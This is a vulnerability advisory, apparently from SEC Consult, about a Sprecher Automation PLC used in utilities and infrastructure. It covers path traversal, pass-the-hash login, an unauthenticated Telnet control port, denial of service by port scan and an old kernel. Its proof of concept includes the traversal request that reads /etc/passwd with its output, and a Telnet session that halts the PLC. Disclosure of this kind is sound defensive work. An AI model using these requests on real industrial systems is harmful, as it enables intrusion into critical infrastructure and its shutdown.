Vendor Description
“Sprecher Automation GmbH offers switchgears and automation solutions for energy, industry and infrastructure processes. Our customers are power utilities, industries, transportation companies, municipal utilities and public institutions.
Company-own developments and cooperations with technology partners lead to a unique product portfolio consisting of traditional electrical technologies as well as high-tech electronics.”
Source: https://www.sprecher-automation.com/en/
Business Recommendation
SEC Consult recommends to immediately patch the systems and follow the hardening guide provided by the vendor (SEC Consult did not have access to the hardening guide in order to review it).
A thorough security review should be performed by security professionals as further security issues might exist within the product.
Vulnerability Overview/ Description
1) Authenticated Path Traversal Vulnerability
The web interface of the Sprecher PLC suffers from a path traversal vulnerability. A user which is authenticated on the web interface, which is intended as read-only interface, can download files with the permissions of the webserver (www-data). Files like “/etc/shadow” are not readable for the webserver.
2) Client-Side Password Hashing
The password hashes which are stored on the system can be directly used to authenticate on the web interface (pass-the-hash) since the password is hashed in the browser of the user during login.
3) Missing Authentication
The PLC exposes a Telnet management service on TCP port 2048. This interface can be used to control the PLC and does not require any authentication.
4) Permanent Denial of Service via Portscan
An aggressive TCP SYN scan on a large amount of ports triggers a denial of service of the PLC service. This results in an persistent DoS of the standby PLC in an active – standby pair. Manual operator intervention is required to restore service availability.
5) Outdated Linux Kernel
An ancient Linux kernel version with a high number of known security weaknesses is used for the PLC base operating system.
Proof Of Concept
1) Authenticated Path Traversal Vulnerability
Reading “passwd” is possible by triggering the following request:
GET /webserver/cgi-bin/spre.cgi?4_1=../../../../../../../etc/passwd HTTP/1.1
Host: <IP-Address>
Cookie: sid=<SESSION-ID>
Connection: close
Upgrade-Insecure-Requests: 1
The file is directly fetched from the system:
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
[...]
2) Client-Side Password Hashing
The passwords are hashed in JavaScript before they are transmitted to the device. Therefore the hash is as good as the password. The following request shows a login process:
POST /webserver/cgi-bin/spre.cgi HTTP/1.1
Host: <IP-Address>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Referer: <IP-Address>/Webserver.html
Content-Length: 57
Connection: close
cgi_time&user=admin&pswd=<md5-hash>
3) Missing Authentication
An administrative interface was presented after connecting to port 2048 via Telnet:
$ telnet <IP-Address> 2048
100 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
Scheduling mode: application timer/timer-tick preserving
Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
HELP
104 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
Scheduling mode: application timer/timer-tick preserving
Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
HELP, ? .......................... show this help
QUIT, EXIT ....................... quit command session
STOP ............................. stop execution
CONT [TASK|EP] <id> .............. continue execution
STRT ............................. start system
REST ............................. restart system if breaked
HALT ............................. quit scheduler
SHOW [TASKS|SCHED|REVISIONS] ..... show information
SHOW [BREAKPOINTS] ............... show breakpoint list
EXEC <TASK> <id> ................. execute a task
EXEC_MS <ms> [flags] ............. execute code for a specific time
EXEC_CYCLES <no> [flags] ......... execute code for cycles
STEP TASK <id> <INTO|OVER|OUT> ... single step (task)
STEP EP <id> <INTO|OVER|OUT> ..... single step (task of EP)
ADD_BREAKPOINT <bp> .............. add breakpoint
DELETE_BREAKPOINT <bp|ALL> ....... delete breakpoints
ENABLE_BREAKPOINT <bp|ALL> ....... enable breakpoints
DISABLE_BREAKPOINT <bp|ALL> ...... disable breakpoints
READ <variable> .................. read variable as string
READ_LONG <variable> ............. read variable as long
READ_DOUBLE <variable> ........... read variable as double
WRITE <variable> <value> ......... write variable with string const.
WRITE_LONG <variable> <value> .... write variable with long value
WRITE_DOUBLE <variable> <value> .. write variable with double value
GET_LONGNAME <variable> .......... get variable information
GET_TYPENAME <variable> .......... get variable information
CHECK_VAR <variable> ............. check if variable exists
USER name ........................ identify user
PASS pw .......................... authenticate with password
BIN .............................. switch to binary protocol mode
The PLC can be restarted with the “HALT” command (PLC returns after about 30 seconds):
HALT
200 OK: shutting down application tasks
201 OK: waiting for application tasks
202 OK: shutting down system
Connection closed by foreign host.
4) Permanent Denial of Service via Portscan
An aggressive portscan triggered a persistent denial of service of the standby PLC in an active – standby setup.
5) Outdated Linux Kernel
By using the path traversal vulnerability (1) the Linux kernel version has been retrieved:
Linux version 2.6.20-sp16 (kd@jeannie) (gcc version 4.4.6 (Buildroot 2011.05))
#1 PREEMPT Mon Feb 29 12:06:28 CET 2016
Vulnerable / Tested Versions
The following versions are affected by the identified vulnerabilities:
- Authenticated Path Traversal Vulnerability
all versions < 8.49 - Client-Side Password Hashing
all versions < 8.49 - Missing Authentication
all versions - Permanent Denial of Service via Portscan
all versions - Outdated Linux Kernel
all versions < 8.49